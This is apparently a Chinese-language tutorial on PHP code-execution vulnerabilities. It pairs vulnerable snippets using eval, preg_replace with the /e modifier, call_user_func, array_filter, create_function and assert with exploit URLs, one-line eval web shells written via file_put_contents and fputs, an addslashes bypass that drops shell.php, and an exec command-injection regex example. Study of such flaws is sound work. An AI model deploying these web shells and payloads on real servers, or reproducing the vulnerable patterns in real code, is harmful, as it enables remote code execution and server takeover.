代码执行来缺乏严格过滤或者用户控制的数据逃逸。

文件操作函数

file_put_contents() 函数把一个字符串写入文件中。

fputs() 函数写入文件

代码示例:

1
2
3
4
5
<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');

相关函数

eval()

例题1

1
2
3
4
<?php
$str=@(string)$_GET['c'];
@eval('$str="'.addslashes($str).'";');
?>

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符是:
单引号(’)
双引号(”)
反斜杠(\)
NULL。
默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
PHP6中删除了magic_quotes_gpc这个选项
可以用${${}}绕过

1
127.0.0.1/test.php?c=${${phpinfo()}}

例题 2

1
2
3
4
5
6
7
8
<?php

$str="echo \"just".$_GET['c']."a test\";";
eval($str);
?>


test.php?c=${${fputs(fopen('shell.php','w+'),'<?php @eval($_POST[c]) ?>')}}

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
当$pattern处存在e修饰符时(5.5.0版本/e 修饰符已经被弃用了),$replacement 会被当做php代码执行。
例题1:

1
2
3
4
5
6
<?php
$string = 'April';
$pattern = '/\w+/ie';
$replacement = 'phpinfo();';
echo preg_replace($pattern, $replacement, $string);
?>

例题2:

1
2
3
4
5
<?php 
echo preg_replace($_GET["a"],$_GET['b'],$_GET["c"]);
?>

127.0.0.1/test.php?a=/test/e&b=phpinfo()&c=just a test

call_user_func()

mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed $…)
第一个参数为回调函数,第二个参数是回调函数的参数

1
2
3
4
5
<?php
$b = "phpinfo()";
call_user_func($_GET['c'],$b)
?>
127.0.0.1/test.php?c=assert

array_filter()

array_filter() 函数用回调函数过滤数组中的值

1
2
3
4
<?php
array_filter(array($_GET['c']),strrev('tressa'));
?>
http://127.0.0.1/test.php?c=phpinfo();

create_function()

在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行

1
2
3
4
5
6
<?php
$test=$_GET['c'];
$newfun=create_function('$a,$b',$test);
$newfun(2,1);
?>
http://127.0.0.1/test.php?c=phpinfo();

assert

1
2
3
4
5
6
7
8
<?php
assert(trim("'".$_GET['c']."'"));
echo "hello".htmlentities($_GET['c']);
?>

127.0.0.1/test.php?c=test'.eval('echo 1;').'
127.0.0.1/test.php?c=test'.system('whoami').'
127.0.0.1/test.php?c=test'.phpinfo().'

绕过姿势

看大佬的文章:
https://github.com/CHYbeta/WAF-Bypass/blob/master/ming-ling-zhu-ru/rao-guo-fang-fa.md

正则

1
2
3
4
5
6
7
8
<?php
$file_name = $_GET["path"];
if(!preg_match("/^[/a-zA-Z0-9-s_]+.rpt$/m", $file_name)) {
echo "regex failed";
} else {
echo exec("/usr/bin/file -i -b " . $file_name);
}
?>

具体绕过看此文
https://www.anquanke.com/post/id/85698
参考文章:
PHP Code Injection Analysis

代码执行漏洞总结